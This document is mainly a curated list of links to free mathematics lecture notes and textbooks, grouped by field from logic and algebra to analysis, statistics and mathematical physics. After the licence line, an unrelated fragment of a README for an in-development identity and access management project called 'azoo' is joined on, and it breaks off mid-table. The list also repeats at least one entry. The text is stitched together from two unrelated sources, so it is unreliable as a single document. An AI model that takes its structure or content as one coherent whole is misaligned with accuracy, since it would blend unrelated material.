* [Paul's Online Math Notes](http://tutorial.math.lamar.edu/) - Paul Dawkins (Lamar University)
* [List of electronic textbooks](http://faculty.atu.edu/mfinan/nnotes.html) - Marcel B. Finan (Arkansas Tech University)
* [Topology Atlas](http://at.yorku.ca/topology/)
# Lecture Notes
## Foundations of Mathematics
* [Basic Concepts of Mathematics](http://www.trillia.com/zakon1.html) - Elias Zakon
### Set Theory
* [Sets, Relations, Functions](http://www.cosc.brocku.ca/~duentsch/papers/methprimer1.html) - Ivo Düntsch, Günther Gediga
* [An Introduction to Set Theory](http://www.math.toronto.edu/weiss/set_theory.pdf) - William A. R. Weiss
* [Set Theory and Foundations of Mathematics](http://www.settheory.net/) - Sylvain Poirier
* [Set Theory on the Stanford Encyclopedia of Philosophy](http://plato.stanford.edu/entries/set-theory/)
### Logic
* [Introduction to Logic](http://logic.stanford.edu/intrologic/secondary/index.html) - Michael Genesereth, Eric Kao (Stanford University)
* [An Introduction to Formal Logic](https://www.fecundity.com/codex/forallx.pdf) - P.D. Magnus (University at Albany)
* [A Problem Course in Mathematical Logic](http://euclid.trentu.ca/math/sb/pcml/pcml-16.pdf) - Stefan Bilaniuk (Trent University)
* [Language, Proof, and Logic](http://homepages.uc.edu/~martinj/Symbolic_Logic/341%20Syllabus,%20Textbook,%20Handouts,%20Notes/LPL%20textbook.pdf) - Jon Barwise, John Etchemendy
* [Mathematical Logic](http://www.mathematik.uni-muenchen.de/~schwicht/lectures/logic/ws03/ml.pdf) - Helmut Schwichtenberg
* [Mathematical Logic](http://www.personal.psu.edu/t20/notes/logic.pdf) - Stephen G. Simpson (Pennsylvania State University)
* [Formal Logic](http://maude.sip.ucm.es/~miguelpt/papers/flogic.pdf) - Miguel Palomino
* [Predictive Arithmetic](https://web.math.princeton.edu/~nelson/books/pa.pdf) - Edward Nelson
* [Proofs and Concepts: the fundamentals of abstract mathematics](http://people.uleth.ca/~dave.morris/books/proofs+concepts.html) - Joy Morris, Dave Morris
* [Mathematical Reasoning: Writing and Proof](https://www.tedsundstrom.com/mathreasoning) - Ted Sundstrom
### Category Theory
* [Introduction to Category Theory and Categorical Logic](http://www.mathematik.tu-darmstadt.de/~streicher/CTCL.pdf) - Thomas Streicher
* [An Introduction to Category Theory](http://www.cs.man.ac.uk/~hsimmons/zCATS.pdf) - Harold Simmons
* [Category Theory](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.211.4754&rep=rep1&type=pdf) - Steve Awodey (Carnegie Mellon University)
* [Category Theory](http://www.mathematik.uni-muenchen.de/~pareigis/Vorlesungen/04SS/Cats1.pdf) - B. Pareigis
* [Category Theory for Computing Science](http://www.math.mcgill.ca/triples/Barr-Wells-ctcs.pdf) - Michael Barr, Charles Wells
* [Toposes, Triples and Theories](http://www.tac.mta.ca/tac/reprints/articles/12/tr12.pdf) - Michael Barr, Charles Wells
* [Abelian Categories](http://www.tac.mta.ca/tac/reprints/articles/3/tr3abs.html) - Peter Freyd
* [Categories and Groupoids](http://www.tac.mta.ca/tac/reprints/articles/7/tr7abs.html) - P. J. Higgins
* [Basic Concepts of Enriched Category Theory](http://www.tac.mta.ca/tac/reprints/articles/10/tr10abs.html) - G. M. Kelley
* [Abstract and Concrete Categories:The Joy of Cats](http://www.tac.mta.ca/tac/reprints/articles/17/tr17abs.html) - Jiri Adamek, Horst Herrlich, George Strecker
### Homotopy Type Theory
* [Homotopy Type Theory](https://hottheory.files.wordpress.com/2013/03/hott-online-611-ga1a258c.pdf)
### Surreal Numbers
* [Surreal Numbers - How two ex-students turned on to pure mathematics and found total happiness](http://www.math.harvard.edu/~knill/teaching/mathe320_2015_fall/blog15/surreal1.pdf) - D. E. Knuth
* [An Introduction to Surreal Numbers](https://www.whitman.edu/Documents/Academics/Mathematics/Grimm.pdf) - Gretchen Grimm
* [Surreal Numbers and Games](http://web.mit.edu/sp.268/www/2010/surreal.pdf)
* [Conway names, the simplicity hierarchy and the surreal number tree](http://www.ohio.edu/people/ehrlich/ConwayNames.pdf) - Philip Ehrlich
## Number Theory
* [Elementary Number Theory: Primes, Congruences, and Secrets](http://wstein.org/ent/ent.pdf) - William Stein
* [Elementary Number Theory](http://www.iiserpune.ac.in/~ayan/MTH312/%28127%29.pdf) - W. Edwin Clark (University of South Florida)
* [A Course on Number Theory](http://www.maths.qmul.ac.uk/~pjc/notes/nt.pdf) - Peter J. Cameron
* [A Computational Introduction to Number Theory and Algebra](http://shoup.net/ntb/ntb-v2.pdf) - Victor Shoup
* [Number Theory: A Contemporary Introduction](http://math.uga.edu/~pete/4400FULL.pdf) - Pete L. Clark
* [An Introduction to the Theory of Numbers](http://www.trillia.com/moser-number.html) - Leo Moser
* [Yet Another Introductary Number Theory Textbook](https://www.poritz.net/jonathan/share/yaintt/) - Jonathan A. Poritz
### Algebraic Number Theory
* [Introduction to Algebraic Number Theory](http://www1.spms.ntu.edu.sg/~frederique/ANT10.pdf)
* [Introduction to Algebraic Number Theory](http://www1.spms.ntu.edu.sg/~frederique/ANT10.pdf) - F. Oggier
* [Algebraic Number Theory](http://www.jmilne.org/math/CourseNotes/ANT.pdf) - J.S. Milne
* [Algebraic Number Theory Course Notes](http://people.math.gatech.edu/~mbaker/pdf/ANTBook.pdf) - Matthew Baker (Georgia Tech)
* [A Course In Algebraic Number Theory](http://www.math.uiuc.edu/~r-ash/ANT.html) - Robert Ash
### Analytic Number Theory
* [Introduction to Analytic Number Theory](http://www.math.uiuc.edu/~hildebr/ant/main.pdf) - A.J. Hildebrand (University of Illinois)
* [Elements of Analytic Number Theory](http://math.nsc.ru/~vdovin/lectures/numth_eng.pdf) - P. S. Kolesnikov, E. P. Vdovin (Novosibirsk)
* [Analytic Number Theory](http://www.mathematik.uni-muenchen.de/~forster/v/ann/annth_all.pdf) - Otto Forster (LMU Munich)
* [Analytic Number Theory - Lecture Notes based on Davenport’s book](http://www2.math.uu.se/~astrombe/analtalt08/www_notes.pdf) - Andreas Strömbergsson
## Algebra
* [A Course in Universal Algebra](http://www.math.uwaterloo.ca/~snburris/htdocs/ualg.html) - S. Burris, H.P. Sankappanavar
* [A Course in Commutative Algebra](https://faculty.math.illinois.edu/~r-ash/ComAlg.html) - Robert Ash
### Abstract Algebra
* [Introduction to Abstract Algebra](https://people.creighton.edu/~dsm33733/MTH581/Introduction%20to%20Abstract%20Algebra.pdf) - D. S. Malik, John N. Mordeson, M.K. Sen (Creighton University)
* [Introduction to Modern Algebra](http://aleph0.clarku.edu/~djoyce/ma225/algebra.pdf) - David Joyce (Clark University)
* [Algebraic Methods](http://www1.spms.ntu.edu.sg/~frederique/AA11.pdf) - F. Oggier
* [Abstract Algebra : Theory and Applications](http://abstract.ups.edu/download/aata-20150812.pdf) - Thomas W. Judson, Robert A. Beezer (Austin State University)
* [An Undergraduate Course in Abstract Algebra](http://www.maths.usyd.edu.au/u/bobh/UoS/rfwhole.pdf) - Robert Howlett
* [Elements of Abstract and Linear Algebra](http://www.math.miami.edu/~ec/book) - E.H. Connell (University of Miami)
* [Abstract Algebra: The Basic Graduate Year](http://www.math.uiuc.edu/~r-ash/Algebra.html) - Robert Ash
### Group Theory
* [Notes on Group Theory](https://www2.bc.edu/mark-reeder/Groups.pdf) - Mark Reeder
* [Group Theory](http://www.jmilne.org/math/CourseNotes/GT.pdf) - J.S. Milne
* [Notes on Finite Group Theory](http://www.maths.qmul.ac.uk/~pjc/notes/gt.pdf) - Peter J. Cameron
* [Group Theory](http://www.cns.gatech.edu/GroupTheory/index.html) - Pedrag Civitanovic
### Linear Algebra
* [Fundamentals of Linear Algebra](http://www.math.ubc.ca/~carrell/NB.pdf) - James B. Carrell
* [Linear Algebra and Matrices](https://web.archive.org/web/20140824074655/http://mathstat.helsinki.fi/~fluch/linear_algebra_1-sp07/la1.pdf) - Martin Fluch
* [Vector Space Theory](http://www.maths.usyd.edu.au/u/bobh/UoS/MATH2902/vswhole.pdf) - Robert Howlett
* [Linear Algebra](http://joshua.smcvt.edu/linearalgebra) - Jim Hefferon
* [Linear Algebra](http://www.calpoly.edu/~jborzell/Courses/Year%2010-11/Fall%202010/Petersen-Linear_Algebra-Math_306.pdf) - Peter Petersen
* [MIT OpenCourseWare Lectures on Linear Algebra (18.06) as Jupyter Notebooks](https://github.com/juanklopper/MIT_OCW_Linear_Algebra_18_06) - Juan Klopper
* [Linear Algebra](http://joshua.smcvt.edu/linalg.html) - Jim Hefferon
* [Elementary Linear Algebra](http://www.numbertheory.org/book/) - Keith Matthews
* [A First Courses in Linear Algebra](http://linear.ups.edu/) - Rob Breezer
* [Linear Algebra](https://www.math.ucdavis.edu/~linear/) - David Cherney, Tom Denton, Andrew Waldron
* [Introduction to vectors and tensors, Vol 1: linear and multilinear algebra](http://oaktrust.library.tamu.edu/handle/1969.1/2502) - Ray M Bowen, C. C. Wang
* [Introduction to vectors and tensors, Vol 2: vector and tensor analysis](http://oaktrust.library.tamu.edu/handle/1969.1/3609) - Ray M Bowen, C. C. Wang
* [Introduction to Applied Linear Algebra](https://web.stanford.edu/~boyd/vmls/vmls.pdf) - Stephen Boyd (Stanford University), Lieven Vandenberghe (UCLA)
### Ring Theory
* [Foundations of Module and Ring Theory](http://www.math.uni-duesseldorf.de/~wisbauer/book.pdf) - Robert Wisbauer (University of Düsseldorf)
### Galois Theory
* [An Introduction to Galois Theory](http://www.maths.gla.ac.uk/~ajb/dvi-ps/Galois.pdf) - Andrew Baker (University of Glasgow)
* [Fields and Galois Theory](http://www.jmilne.org/math/CourseNotes/FT.pdf) - J.S. Milne
* [Galois theory](http://homepages.warwick.ac.uk/~masda/MA3D5/Galois.pdf) - Miles Reid
### Lie Algebras
* [Lie Algebras](http://www.math.harvard.edu/~shlomo/docs/lie_algebras.pdf) - Shlomo Sternberg
## Combinatorics
* [Basic Combinatorics](http://www.math.utk.edu/~wagner/papers/comb.pdf) - Carl G. Wagner (University of Tennessee)
* [Applied Combinatorics](http://people.math.gatech.edu/~trotter/book.pdf) - Mitchel T. Keller, William T. Trotter
* [Notes on Combinatorics](http://www.maths.qmul.ac.uk/~pjc/notes/comb.pdf) - Peter J. Cameron
* [Analytic Combinatorics](http://algo.inria.fr/flajolet/Publications/book.pdf) - Philippe Flajolet, Robert Sedgewick
* [generatingfunctionology](http://www.math.upenn.edu/~wilf/DownldGF.html) - Herbert Wilf
### Graph Theory
* [Graph Theory: Lecture Notes](http://www.personal.psu.edu/cxg286/Math485.pdf) - Christopher Griffin
* [Graph Theory](http://www.cs.unibo.it/babaoglu/courses/cas00-01/tutorials/GraphTheory.pdf) - Reinhard Diestel
## Geometry and Topology
* [Fundamentals of Geometry](http://polly.phys.msu.ru/~belyaev/geometry.pdf) - Oleg A. Belyaev
* [A=B](https://www.math.upenn.edu/~wilf/AeqB.html) - M. Petkovsek, H. Wilf, D. Zeilberger
* [Elements](http://aleph0.clarku.edu/~djoyce/java/elements/toc.html) - Euclid
* [Euclid's Elements Redux](http://starrhorse.com/euclid/) - Daniel Callahan
* [Mathematical Illustrations](http://www.math.ubc.ca/~cass/graphics/manual/) - Bill Casselman
### Differential Geometry
* [Introduction to Differential Geometry](https://people.math.ethz.ch/~salamon/PREPRINTS/diffgeo.pdf) - Joel W. Robbin, Dietmar A. Salamon
* [Notes on Differential Geometry and Lie Groups](http://www.seas.upenn.edu/~jean/diffgeom.pdf) - Jean Gallier (University of Pennsylvania)
* [Topics in Differential Geometry](http://www.mat.univie.ac.at/~michor/dgbook.pdf) - Peter W. Michor
* [Lectures on Differential Geometry](http://mysite.science.uottawa.ca/rossmann/Differential%20Geometry%20book_files/Diffgeo.pdf) - Wulf Rossmann
* [An Introduction to Riemannian Geometry](http://www.matematik.lu.se/matematiklu/personal/sigma/Riemann.pdf) - Sigmundur Gudmundsson (Lund University)
* [The Geometry and Topology of Three-Manifolds](http://msri.org/publications/books/gt3m/) - W. Thurston
* [Semi-Riemann Geometry and General Relativity](http://www.math.harvard.edu/~shlomo/docs/semi_riemannian_geometry.pdf) - Shlomo Sternberg
### Algebraic Geometry
* [A Brief Introduction to Algebraic Geometry](http://www.sci.ccny.cuny.edu/~ksda/PostedPapers/rickksda1107.pdf) - R.C. Churchill
* [Introduction to Algebraic Geometry](http://www.math.lsa.umich.edu/~idolga/631.pdf) - Igor V. Dolgachev
* [Foundations of Algebraic Geometry](http://math.stanford.edu/~vakil/216blog/FOAGjun1113public.pdf) - Ravi Vakil
* [Algebraic Geometry](http://www.cis.upenn.edu/~jean/algeoms.pdf) - Jean Gallier, Stephen S. Shatz (University of Pennsylvania)
* [Algebraic Geometry](http://www.jmilne.org/math/CourseNotes/AG.pdf) - J.S. Milne
* [Algebraic Geometry](http://www.mathematik.uni-kl.de/~gathmann/class/alggeom-2002/main.pdf) - Andreas Gathmann (University of Kaiserslautern)
### Topology
* [Introduction to Topology](http://www.math.colostate.edu/~renzo/teaching/Topology10/Notes.pdf)
* [Introduction to Topology](http://www.math.bme.hu/~kalex/Teaching/Spring10/Topology/TopNotes_Spring10.pdf) - Alex Küronya
* [Introductory Topology](http://www.math.clemson.edu/~jimlb/Teaching/2009-10/Math986/Topology.pdf) - Jim L. Brown
* [General Topology](http://webusers.imj-prg.fr/~pierre.schapira/lectnotes/Topo.pdf) - Pierre Schapira (Paris VI University)
* [Elementary Topology Problem Textbook](http://www.pdmi.ras.ru/~olegviro/topoman/eng-book-nopfs.pdf)
* [General Topology](http://www.math.ku.dk/~moller/e03/3gt/notes/gtnotes.pdf) - Jesper M. Møller
### Algebraic Topology
* [Algebraic Topology](http://www.math.cornell.edu/~hatcher/AT/AT.pdf) - Allen Hatcher
* [A Concise Course in Algebraic Topology](http://www.math.uchicago.edu/~may/CONCISE/ConciseRevised.pdf) - J. P. May
* [Introduction to Algebraic Topology](http://www.math.muni.cz/~cadek/at/at.pdf) - Martin Cadek
* [Algebra and Topology](http://webusers.imj-prg.fr/~pierre.schapira/lectnotes/AlTo.pdf) - Pierre Schapira (Paris VI University)
* [Lecture Notes in Algebraic Topology](http://www.indiana.edu/~jfdavis/teaching/m623/book.pdf) - James F. Davis, Paul Kirk (Indiana University)
* [Algebraic Topology](https://www.ma.utexas.edu/ibl1/courses/resources/12_15_07_grad_alg_top_mooremethod.pdf) - Michael Starbird
* [Lecture Notes on Algebraic Topology](http://www.math.nus.edu.sg/~matwujie/ma5209.pdf) - Jie Wu
## Analysis
### Real Analysis
* [MIT OpenCourseWare Lectures on Calculus](https://ocw.mit.edu/resources/res-18-001-calculus-online-textbook-spring-2005/textbook/) - G. Strang
* [Elementary Calculus: An Approach Using Infinitesimals](http://www.math.wisc.edu/~keisler/calc.html) - Professor H. Jerome Keisler
* [An Introduction to Real Analysis](https://www.math.ucdavis.edu/~hunter/intro_analysis_pdf/intro_analysis.pdf) - John K. Hunter (University of California at Davis)
* [Introduction to Real Analysis](http://ramanujan.math.trinity.edu/wtrench/texts/TRENCH_REAL_ANALYSIS.PDF) - William F. Trench (Trinity University, Texas)
* [Basic Analysis: Introduction to Real Analysis](http://www.jirka.org/ra/realanal.pdf) - Jiří Lebl
* [Elementary Real Analysis](http://prac.im.pwr.wroc.pl/~kwasnicki/pl/stuff/tbb-hyper.pdf) - Thomson, Bruckner
* [Lecture Notes in Real Analysis](http://ms.mcmaster.ca/~sawyer/Publications/Real_Analysis.pdf) - Eric T. Sawyer (McMaster University)
* [Real Analysis](http://math.harvard.edu/~ctm/papers/home/text/class/harvard/212a/course/course.pdf) - C. McMullen
* [Real Analysis for Graduate Students](http://bass.math.uconn.edu/3rd.pdf) - Richard F. Bass
* [Modern Real Analysis](http://www.math.purdue.edu/~torres/pubs/Modern-real-analysis.pdf) - William P. Ziemer (Indiana University)
* [Mathematical Analysis Vol I](http://www.trillia.com/zakon-analysisI.html) - Elias Zakon
* [Mathematical Analysis Vol II](http://www.trillia.com/zakon-analysisII.html) - Elias Zakon
* [Advanced Calculus](http://www.math.harvard.edu/~shlomo/docs/Advanced_Calculus.pdf) - Lynn Loomis, Schlomo Sternberg
* [ Analysis of Functions of a Single Variable](http://spot.colorado.edu/~baggett/analysis.html) - Lawerence Baggett
* [The Calculus of Functions of Several Variables](http://www.synechism.org/wp/the-calculus-of-functions-of-several-variables/) - Dan Sloughter
* [A ProblemText in Advanced Calculus](http://web.pdx.edu/~erdman/PTAC/problemtext_pdf.pdf) - John M. Erdman
* [Calculus and Linear Algebra. Vol. 1](http://hdl.handle.net/2027/spo.5597602.0001.001) - Wilfred Kaplan, Donald J. Lewis
* [Calculus and Linear Algebra. Vol. 2](https://quod.lib.umich.edu/s/spobooks/5597602.0002.001) - Wilfred Kaplan, Donald J. Lewis
* [Introduction to Calculus I and II](http://www.math.odu.edu/~jhh/counter10.html) - J.H. Heinbockel
* [Active Calculus](http://faculty.gvsu.edu/boelkinm/Home/Active_Calculus.html) - Matt Boelkins
### Harmonic Analysis
* [Harmonic Analysis Lecture Notes](http://www.math.uiuc.edu/~laugesen/545/545Lectures.pdf) - Richard S. Laugesen (University of Illinois at Urbana–Champaign)
* [Harmonic Analysis](http://www.math.uchicago.edu/~schlag/harmonicnotes.pdf) - W. Schlag
* [Lecture Notes: Fourier Transform and its Applications](https://see.stanford.edu/materials/lsoftaee261/book-fall-07.pdf) - Brad Osgood
* [Fourier Analysis](http://www.reed.edu/physics/courses/Physics331.f08/pdf/Fourier.pdf) - Lucas Illing
### Complex Analysis
* [Introduction to Complex Analysis](http://www.unc.edu/math/Faculty/met/complex.pdf) - Michael Taylor
* [An Introduction to Complex Analysis and Geometry](http://www.math.uiuc.edu/~jpda/jpd-complex-geometry-book-5-refs-bip.pdf) - John P. D'Angelo (University of Illinois)
* [A First Course in Complex Analysis](http://math.sfsu.edu/beck/papers/complex.pdf) - Matthias Beck, Gerald Marchesi, Dennis Pixton, Lucas Sabalka
* [A Guide to Complex Variables](http://www.math.wustl.edu/~sk/books/guide.pdf) - Steven G. Krantz
* [Complex Analysis](http://www.maths.manchester.ac.uk/~cwalkden/complex-analysis/complex_analysis.pdf) - Charles Walkden
* [Complex Analysis](http://www.math.ku.dk/noter/filer/koman-12.pdf) - Christian Berg
* [Complex Variables](http://people.math.sc.edu/girardi/m7034/book/AshComplexVariablesWithHyperlinks.pdf) - R. B. Ash, W.P. Novinger
* [Complex Analysis](http://www.maths.lth.se/matematiklu/personal/olofsson/CompHT06.pdf) - Christer Bennewitz
* [Complex Analysis](https://web.archive.org/web/20150620124453/https://www.math.washington.edu/~marshall/math_536/Notes.pdf) - Donald E. Marshall
* [A Concise Course in Complex Analysis and Riemann Surfaces](http://www.math.uchicago.edu/~schlag/bookweb.pdf) - Wilhelm Schlag
* [Complex Analysis](http://people.math.gatech.edu/%7Ecain/winter99/complex.html) - G. Cain (Georgia Tech)
### Functional Analysis
* [An Introduction to Functional Analysis](http://www.math.uwaterloo.ca/~lwmarcou/Preprints/LinearAnalysis.pdf) - Laurent W. Marcoux (University of Waterloo)
* [Functional Analysis: Lecture Notes](http://users.math.msu.edu/users/jeffrey/920/920notes.pdf) - Jeff Schenker (Michigan State University)
* [Functional Analysis Lecture Notes](http://www.math.hkbu.edu.hk/~zeng/Teaching/math3680/FAnotes.pdf) - T.B. Ward (University of East Anglia)
* [Functional Analysis](http://www.maths.lancs.ac.uk/~belton/www/notes/fa_notes.pdf) - Alexander C. R. Belton
* [Topics in Real and Functional Analysis](https://www.mat.univie.ac.at/~gerald/ftp/book-fa/fa.pdf) - Gerald Teschl
* [Functional Analysis](http://www2.math.ou.edu/~cremling/teaching/lecturenotes/fa-new/LN-I.pdf) - Christian Remling
* [Theory of Functions of a Real Variable](http://www.math.harvard.edu/~shlomo/docs/Real_Variables.pdf) -
Shlomo Sternberg
* [Functional Analysis](http://spot.colorado.edu/~baggett/functional.html) - Lawerence Baggett
### Measure Theory
* [An Introduction to Measure Theory](https://terrytao.files.wordpress.com/2011/01/measure-book1.pdf) - Terence Tao (UCLA)
* [Lecture Notes on Measure Theory and Functional Analysis](http://www.mat.uniroma2.it/~cannarsa/cam_0607.pdf) - P. Cannarsa, T. D’Aprile
* [Lecture Notes in Measure Theory](http://www.math.chalmers.se/~borell/MeasureTheory.pdf) - Christer Borell
* [A Crash Course on the Lebesgue Integral and Measure Theory](http://www.gold-saucer.org/math/lebesgue/lebesgue.pdf) - Steve Cheng
* [Measure Theory](https://www.math.ucdavis.edu/~hunter/measure_theory/measure_notes.pdf) - John K. Hunter (University of California at Davis)
* [Measure and Integration](https://people.math.ethz.ch/~salamon/PREPRINTS/measure.pdf) - Dietmar A. Salamon (ETH Zürich)
* [Lecture notes: Measure Theory](http://www.math.ucsd.edu/~bdriver/240-00-01/Lecture_Notes/measurep.pdf) - Bruce K. Driver
### Ordinary Differential Equations
* [Difference Equations To Differential Equations](http://www.synechism.org/wp/difference-equations-to-differential-equations/) - Dan Sloughter
* [Ordinary Differential Equation](https://www.math.uni-bielefeld.de/~grigor/odelec2008.pdf) - Alexander Grigorian (University of Bielefeld)
* [Ordinary Differential Equations: Lecture Notes](http://www.cs.bgu.ac.il/~leonid/ode_bio_files/Ionascu_LectNotes.pdf) - Eugen J. Ionascu
* [Ordinary Differential Equations](http://www.math.lmu.de/~philip/publications/lectureNotes/ODE.pdf) - Peter Philip
* [Ordinary Differential Equations](http://users.math.msu.edu/users/gnagy/teaching/ode.pdf) - Gabriel Nagy
* [Ordinary Differential Equations and Dynamical Systems](http://www.mat.univie.ac.at/~gerald/ftp/book-ode/ode.pdf) - Gerald Teschl
* [Notes on Differential Equations](http://leipper.org/manuals/zip-fill/dn-difeq-notes.pdf) - Bob Terrell
* [Elementary Differential Equations](http://digitalcommons.trinity.edu/mono/8/) - William F. Trench
* [Elementary Differential Equations With Boundary Value Problems](http://digitalcommons.trinity.edu/mono/9/) - William F. Trench
* [Notes on Diffy Qs: Differential Equations for Engineers](http://www.jirka.org/diffyqs/) - Jiří Lebl
### Partial Differential Equations
* [Notes on Partial Differential Equations](https://www.math.ucdavis.edu/~hunter/pdes/pde_notes.pdf) - John K. Hunter (University of California at Davis)
* [Partial Differential Equations: Lecture Notes](http://www.math.uni-leipzig.de/~miersemann/pdebook.pdf) - Erich Miersemann (Leipzig University)
* [Linear Methods of Applied Mathematics](http://www.mathphysics.com/pde/) - E. Harrell, J. Herod (Georgia Tech)
## Probability and Statistics
### Probability Theory
* [Introduction to Probability](https://www.dartmouth.edu/~chance/teaching_aids/books_articles/probability_book/amsbook.mac.pdf) - Charles M. Grinstead, J. Laurie Snell
* [Introduction to Probability](http://vfu.bg/en/e-Learning/Math--Bertsekas_Tsitsiklis_Introduction_to_probability.pdf) - Dimitri P. Bertsekas, John N. Tsitsiklis (MIT)
* [A Short Introduction to Probability](http://www.maths.uq.edu.au/~kroese/asitp.pdf) - Dirk P. Kroese (University of Queensland)
* [Probability: Theory and Examples](https://www.math.duke.edu/~rtd/PTE/PTE4_1.pdf) - Rick Durrett
* [Probability and Statistics Cookbook](https://github.com/mavam/stat-cookbook/releases/download/0.2.3/stat-cookbook.pdf) - Matthias Vallentin (UC Berkeley)
* [The Only Probability Cheatsheet You'll Ever Need](http://www.wzchen.com/probability-cheatsheet/) - William Chen
* [An Introduction to Probability and Random Processes](http://www.ellerman.org/Davids-Stuff/Maths/Rota-Baclawski-Prob-Theory-79.pdf) - Gian-Carlo Rota, Kenneth Baclawski
### Statistics
* [Lecture Notes on Statistical Theory](http://homepages.math.uic.edu/~rgmartin/Teaching/Stat411/Notes/411notes.pdf) - Ryan Martin (University of Illinois)
* [Introduction to Statistics and Data Analysis for Physicists](http://www-library.desy.de/preparch/books/vstatmp_engl.pdf) - Gerhard Bohm, Günter Zech
* [Probability and Mathematical Statistics](http://www.iiserpune.ac.in/~ayan/MTH201/Sahoo_textbook.pdf) - Prasanna Sahoo (University of Louisville)
* [Lectures on Statistics](http://math.arizona.edu/~faris/stat.pdf) - William G. Faris
* [Statistical Theory](http://pages.pomona.edu/~ajr04747/Fall2009/Math152/Notes/Math152NotesFall09.pdf) - Adolfo J. Rumbos
* [Theory of Statistics](http://mason.gmu.edu/~jgentle/books/MathStat.pdf) - James E. Gentle (George Mason University)
* [Theory of Statistics](http://math.arizona.edu/~jwatkins/notests.pdf) - Joseph C. Watkins (University of Arizona)
* [Glossary of Data Modeling](https://web.archive.org/web/20130523134625/http://www.aiaccess.net/e_gm.htm) - AI Access
* [Statistics Papers](http://www.ats.ucla.edu/stat/papers/) - List of statistics papers curated by the Institute for Digital Research and Education (IDRE) at UCLA on methods such as bootstrap and factor invariance.
* [NIST Handbook of Statistical Methods](http://itl.nist.gov/div898/handbook/index.htm) - Resource on practical statistics directed towards scientists and engineers.
* [Concepts and Applications of Inferential Statistics](http://vassarstats.net/textbook/) - Richard Lowry
* [Rough set data analysis: A road to non-invasive knowledge discovery](http://www.cosc.brocku.ca/~duentsch/papers/methprimer2.html) - Ivo Düntsch, Günther Gediga
### Statistical Learning
* [An Introduction to Statistical Learning with Applications in R](http://www-bcf.usc.edu/~gareth/ISL/ISLR%20First%20Printing.pdf) - Gareth James, Daniela Witten, Trevor Hastie, Robert Tibshirani
* [The Elements of Statistical Learning](http://web.stanford.edu/~hastie/Papers/ESLII.pdf) - Trevor Hastie, Robert Tibshirani, Jerome Friedman
* [Statistical Learning Theory](https://web.stanford.edu/class/cs229t/notes.pdf) - Percy Liang
* [Reinforcement Learning: An Introduction](https://webdocs.cs.ualberta.ca/~sutton/book/bookdraft2016sep.pdf) - Richard S. Sutton, Andrew G. Barto
### Stochastic processes
* [Lectures on Stochastic Processes](http://www.math.tifr.res.in/~publ/ln/tifr24.pdf) - K. Ito (Tata Institute of Fundamental Research, Bombay)
* [Probability and Stochastic Processes with Applications](http://www.math.harvard.edu/~knill/teaching/math144_1994/probability.pdf) - Oliver Knill (Harvard University)
* [Stochastic Processes](http://statweb.stanford.edu/~adembo/math-136/nnotes.pdf) - Amir Dembo (Stanford University)
* [Lecture Notes on Stochastic Processes](http://www.mi.fu-berlin.de/wiki/pub/CompMolBio/MarkovKetten15/stochastic_processes_2011.pdf) - Frank Noé, Bettina Keller and Jan-Hendrik Prinz (Freie Universität Berlin)
* [Introduction to Stochastic Processes - Lecture Notes](https://www.ma.utexas.edu/users/gordanz/notes/introduction_to_stochastic_processes.pdf) - Gordan Žitković (University of Texas)
* [Applied Stochastic Processes in science and engineering](https://www.math.uwaterloo.ca/~mscott/Little_Notes.pdf) - Matt Scott (University of Waterloo)
* [An Introduction to Stochastic Processes in Continuous Time](http://www.math.leidenuniv.nl/~spieksma/colleges/sp-master/sp-hvz1.pdf) - Flora Spieksma (Leiden University)
* [Markov Chains and Mixing Times](http://pages.uoregon.edu/dlevin/MARKOV/markovmixing.pdf) - David A. Levin, Yuval Peres, Elizabeth L. Wilmer
* [Convergence of Stochastic Processes](http://www.stat.yale.edu/~pollard/Books/1984book/pollard1984.pdf) - David Pollard
## Numerical Analysis
* [Introduction to Numerical Analysis](http://www.math.umd.edu/~dlevy/books/na.pdf) - Doron Levy (University of Maryland)
* [A Concise Introduction to Numerical Analysis](http://www.ima.umn.edu/~arnold/597.00-01/nabook.pdf) - Douglas N. Arnold (University of Minnesota)
* [Numerical Analysis](http://people.cs.uchicago.edu/~ridg/newna/nalrs.pdf) - L. Ridgway Scott
* [Lectures In Basic Computational Numerical Analysis](http://www.engr.uky.edu/~acfd/egr537-lctrs.pdf) - J. M. McDonough (University of Kentucky)
* [Advanced Numerical Methods and Their Applications to Industrial Problems: Adaptive Finite Element Methods](http://www.math.uni-bremen.de/~schmidt/SS04/YSU_Notes.pdf) - Alfred Schmidt, Arsen Narimanyan
* [Numerical Analysis for Engineers](https://ece.uwaterloo.ca/~dwharder/NumericalAnalysis/) - Douglas Wilhelm Harder
## Signal processing
* [Introduction to Signal Processing](http://www.ece.rutgers.edu/~orfanidi/intro2sp/orfanidis-i2sp.pdf) - Sophocles J. Orfanidis (Rutgers University)
* [Foundations of Signal Processing](http://www.fourierandwavelets.org/FSP_v1.1_2014.pdf) - Martin Vetterli, Jelena Kovacevic, Vivek K Goyal
* [An Introduction to Statistical Signal Processing](https://ee.stanford.edu/~gray/sp.pdf) - Robert M. Gray, Lee D. Davisson
* [Linear algebra, signal processing, and wavelets. A unified approach.](https://www.uio.no/studier/emner/matnat/math/MAT-INF2360/v15/kompendium/applinalgpython.pdf) - Øyvind Ryan (University of Oslo)
## Mathematics for Computer Science
* [Mathematics for Computer Science](https://people.csail.mit.edu/meyer/mcs.pdf) - Eric Lehman, F. Thomson Leighton, Albert R. Meyer
* [Algorithms and Complexity](http://www.math.upenn.edu/%7Ewilf/AlgComp3.html) - H. Wilf
* [Lecture Notes on Optimization](http://people.eecs.berkeley.edu/~varaiya/papers_ps.dir/NOO.pdf) - Pravin Varaiya
* [Information Theory, Inference, and Learning Algorithms](http://www.inference.org.uk/mackay/itila/book.html) - David J. C. MacKay
## Mathematical Biology
* [Mathematical Biology](http://www.math.ust.hk/~machas/mathematical-biology.pdf) - Jeffrey Chasnov
## Mathematical Physics
* [Introduction to Continuum Mechanics](http://oaktrust.library.tamu.edu/handle/1969.1/2501) - Ray. M. Bowen
* [Mathematical Tools for Physics](http://www.physics.miami.edu/nearing/mathmethods/) - James Nearing
* [Mechanism of the Heavens (1831)](http://www.malaspina.com/etext/heavens.htm) - Mary Somerville
# License
[](http://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, [Cyrille Rossant](http://cyrille.rossant.net) has waived all copyright and related or neighboring rights to this work.
|
# azoo
azoo is a headless [ASVS Level 3](https://owasp.org/www-project-application-security-verification-standard/) Identity and Access Management (IAM) system built for a cloud-native environment
<p align="center">
<table>
<tbody>
<td align="center">
<img width="2000" height="0"><br>
Status: <b>⚠️ In development</b><br>
